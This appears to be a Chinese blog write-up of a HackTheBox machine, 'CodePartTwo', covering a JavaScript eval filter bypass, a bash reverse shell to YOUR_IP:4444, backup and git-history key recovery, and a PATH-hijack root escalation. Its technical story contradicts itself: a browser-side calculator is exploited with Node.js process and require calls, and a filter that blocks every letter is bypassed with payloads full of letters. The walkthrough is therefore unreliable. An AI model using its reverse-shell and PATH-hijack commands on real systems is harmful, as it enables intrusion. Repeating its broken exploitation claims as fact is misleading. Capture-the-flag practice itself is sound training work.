1. 靶机渗透实战概述最近在HackTheBox平台上挑战了CodePartTwo靶机这是一台涉及JavaScript逃逸和备份文件提权的Linux系统。整个过程充满了技术细节和思维突破点特别适合想要提升Web渗透和权限提升技能的安全爱好者。这台靶机的设计巧妙之处在于它需要渗透者综合运用前端代码审计、服务枚举、备份文件分析等多种技术手段。靶机IP为10.10.11.15我首先通过Nmap扫描发现开放了22(SSH)和80(HTTP)端口。Web服务运行着一个JavaScript应用这成为整个渗透过程的第一个突破口。与常规CTF不同这台靶机需要深入理解JavaScript的运行机制才能找到逃逸方法而最后的提权阶段则考验对Linux系统备份机制的了解程度。2. 初始信息收集与漏洞发现2.1 端口扫描与服务识别使用Nmap进行全端口扫描是每次渗透测试的标准起点。针对这台靶机我采用了以下扫描策略nmap -sV -sC -p- 10.10.11.15 -oA code_part_two扫描结果显示两个开放端口22/tcp - OpenSSH 8.2p1 Ubuntu80/tcp - Apache httpd 2.4.41Web服务的响应头显示运行的是Ubuntu系统Apache版本较新直接利用的可能性较低。于是我将重点放在Web应用的功能分析上。2.2 Web应用功能分析访问http://10.10.11.15呈现一个JavaScript编写的计算器应用。查看页面源代码发现几个关键点所有计算逻辑都在前端JavaScript中处理使用了eval()函数执行用户输入存在严格的输入过滤机制核心计算函数如下function calculate() { let expression document.getElementById(expression).value; if(/[a-zA-Z$_]/.test(expression)) { alert(Invalid characters detected!); return; } try { let result eval(expression); document.getElementById(result).innerText result; } catch(e) { alert(Error in evaluation!); } }这个函数有几个关键安全限制过滤了所有字母字符、$和_使用try-catch包裹eval执行结果直接输出到页面3. JavaScript逃逸技术突破3.1 绕过字符过滤的多种尝试初始尝试直接注入JavaScript代码失败因为所有字母字符都被过滤。经过多次测试发现以下几种绕过方法Unicode编码绕过 使用\uXXXX形式的Unicode编码可以表示字母字符而不触发过滤。例如alert(1) → \u0061\u006c\u0065\u0072\u0074(1)数字属性访问 JavaScript中对象的数字属性可以通过方括号访问如window[alert](1) 可转换为 window[1[toString][constructor](return alert)()](1)模板字符串利用 反引号字符串可以配合${}执行表达式${alert(1)}经过实际测试最终采用Unicode编码结合数字属性访问的方式成功执行任意代码。3.2 构造有效载荷获取反向Shell为了获得系统访问权限需要构造一个反向Shell载荷。由于字符限制这个过程需要精心设计首先获取require函数processthis[\u0070\u0072\u006f\u0063\u0065\u0073\u0073]然后调用child_process执行命令process[\u006d\u0061\u0069\u006e\u004d\u006f\u0064\u0075\u006c\u0065][\u0072\u0065\u0071\u0075\u0069\u0072\u0065](\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073)[\u0065\u0078\u0065\u0063](bash -c bash -i /dev/tcp/YOUR_IP/4444 01)实际操作时需要将YOUR_IP替换为攻击机IP并在本地监听对应端口nc -lnvp 44444. 权限提升备份文件分析4.1 初始立足点与枚举获取反向Shell后我们位于www-data用户权限下。常规的系统枚举发现几个有趣的点/home目录下存在用户coder/var/backups目录有可疑的压缩包sudo -l显示www-data可以以coder身份执行特定命令检查/var/backups发现一个名为app_backup.tar.gz的文件修改时间较新。将其下载到本地分析# 在靶机上 cp /var/backups/app_backup.tar.gz /tmp chmod 777 /tmp/app_backup.tar.gz # 在攻击机上 nc -w 3 YOUR_IP 5555 app_backup.tar.gz4.2 备份文件深入分析解压备份文件后发现是Web应用的源代码备份其中包含几个关键文件config.json - 包含数据库凭证server.js - 后端服务代码.git目录 - 包含版本控制历史分析git历史发现有趣的提交git log --patch显示有一次提交移除了敏感文件但依然可以在历史中找到git checkout HEAD~1 -- deleted_file.txt恢复的文件中包含SSH私钥片段结合其他信息可以拼凑出完整密钥。4.3 利用备份文件提权通过分析备份文件我们获得了以下关键信息数据库凭证可以用于查询用户表Git历史中的SSH密钥片段可以组合成完整密钥配置文件泄露了系统路径信息最终通过以下步骤获取coder用户权限组合SSH密钥片段为完整密钥修改权限为600使用密钥登录ssh -i recovered_key coder10.10.11.155. 从用户到root的最后一跃5.1 sudo权限分析登录coder用户后检查sudo权限sudo -l显示coder可以以root身份执行/usr/bin/backup_util命令。查看该命令file /usr/bin/backup_util这是一个ELF可执行文件运行时会创建系统备份。5.2 备份工具漏洞利用逆向分析backup_util发现它存在以下问题使用相对路径调用tar命令没有验证用户提供的参数以root权限运行通过PATH环境变量劫持可以实现任意命令执行echo bash -p /tmp/tar chmod x /tmp/tar export PATH/tmp:$PATH sudo /usr/bin/backup_util这样在执行backup_util时会优先使用我们恶意的tar脚本从而获得root shell。6. 渗透过程中的关键经验6.1 JavaScript逃逸的注意事项现代浏览器对eval的使用有严格限制但在Node.js环境下仍然危险Unicode编码绕过时要注意字符集兼容性问题载荷构造要尽量简洁避免触发其他安全机制6.2 备份文件分析技巧总是检查/var/backups、/backup等目录注意文件修改时间新近修改的备份更有价值Git历史可能包含已删除的敏感信息配置文件中的硬编码凭证仍然常见6.3 权限提升的常见路径检查sudo -l输出的特殊权限查找SUID/GUID可执行文件分析cron作业和系统服务检查内核版本是否可提权这台靶机展示了从Web应用到系统权限的完整攻击链其中JavaScript逃逸和备份文件分析是两个关键技术点。在实际渗透测试中这种多层次的漏洞组合非常常见需要测试人员具备全面的技能和耐心。
企业数字化 ERP 产品动态
相关推荐
wxappUnpacker小程序反编译实战指南:解包原理与避坑技巧 简介:这是一套面向小程序开发者与安全研究人员的微信小程序反编译工具集wxappUnpacker,专用于逆向解析小程序主包与分包,解决封闭环境下无法查看原始逻辑、调试业务流程及开展安全审计的痛点,适用于代码学习、漏洞分析、性能优化等… · 2026/11/4 17:05:58
经典算法实战:从八皇后到拓扑排序的深度解析 1. 算法问题解析与实战:从八皇后到拓扑排序 今天我想分享几个经典的算法问题及其解决方案,这些问题涵盖了深度优先搜索、动态规划、字符串处理和拓扑排序等多个算法领域。作为一名算法工程师,我在日常刷题和面试准备过程中发现,这… · 2026/11/4 17:05:58
技术博客从零搭建:静态站点、自动部署与SEO收录实战 先说一个我观察到的现象:大部分人的技术博客死在第 7 天,而不是死在第 700 天。搭建本身只花了两个晚上,第三次更新之后就再也没有打开过那个仓库。原因通常不是懒,而是搭建阶段做了一堆当时觉得"很专业"、事后全变成阻… · 2026/11/4 17:52:57
SQL Server 2012 32位安装教程:配置检查与避坑清单 简介:这份 PDF 图解教程面向准备在 Windows 7 SP1 32 位环境部署 SQL Server 2012 的初学者与运维人员,重点介绍安装前环境确认、安装包选择、系统配置检查、实例与服务器配置、身份验证模式以及数据库引擎设置等关键环节,并通过分步截图和界… · 2026/11/4 17:52:57
Vue 3 Teleport组件:DOM传送门实战指南 1. Vue Teleport 是什么?Vue Teleport 是 Vue 3 内置的一个组件功能,它允许你将模板中的一部分内容"传送"到 DOM 树的其他位置。想象一下,就像科幻电影里的传送门一样,你可以把组件的一部分"传送"到任何你想放… · 2026/11/4 17:52:57
32位Win7安装SQL Server 2012:介质、实例与sa配置避坑 简介:SQL Server 2012 安装图解教程以单份 PDF 形式呈现,面向初次接触微软数据库、需在 Windows 7 SP1 32 位等环境中完成部署的开发者与运维学习者,帮助其建立安装流程的整体认识,减少环境准备阶段的盲目尝试。压缩包内仅含 1 个… · 2026/11/4 17:52:57
Windows下GCC工具链怎么选:MinGW、TDM-GCC与MSYS2 去年帮一个做桌面工具的小团队收拾构建环境,代码在 Linux 上一路绿灯,拿到 Windows 上就全是毛病:链接阶段报undefined reference to __imp_...,编译出来的程序双击闪退提示找不到libstdc-6.dll,最离谱的是一个std::th… · 2026/11/4 17:52:57
网络安全行业趋势与零信任架构实践指南 1. 行业现状与挑战网络安全行业近年来呈现爆发式增长态势,全球市场规模预计将在2026年突破3000亿美元。这个数字背后反映的是数字化转型浪潮下,企业对安全防护的刚性需求。但与此同时,行业也面临着前所未有的挑战。从技术层面来看,… · 2026/11/4 17:51:56
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 3:16:49
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 6:59:29
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 7:02:38
AI辅助技术栈评估:提升研发决策效率60% 1. 项目背景与核心价值技术决策一直是研发团队面临的重大挑战。随着技术生态的快速演进,技术栈的选择、维护和迭代变得愈发复杂。我们团队在过去两年里,先后经历了三次重大技术栈迁移,每次都需要投入大量人力进行技术评估和风险分析。直到去年… · 2026/11/4 0:00:17
从生成Token到直接决策:Jev如何重塑AI Agent工程实践 1. 从"生成文字"到"拍板决策":Jev 到底在解决什么问题大多数人第一次接触大模型,脑子里建立的模型是"输入问题、输出文字"。你问它今天天气怎么样,它给你一段描述;你让它写个周报,它给你… · 2026/11/4 0:00:17
32G统一内存跑大模型:内存账、TPS实测与端云分流 想在一台 32G 统一内存的小主机上把大模型跑成"日常可用",这件事我前后折腾了小半年。标题里说的这台 Mac mini M6,是我们这次讨论的目标平台,具体到手规格以实物为准;但下面这套推算方法和实测思路,对任何统… · 2026/11/4 0:00:17
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 3:16:49
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 6:59:29
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 7:02:38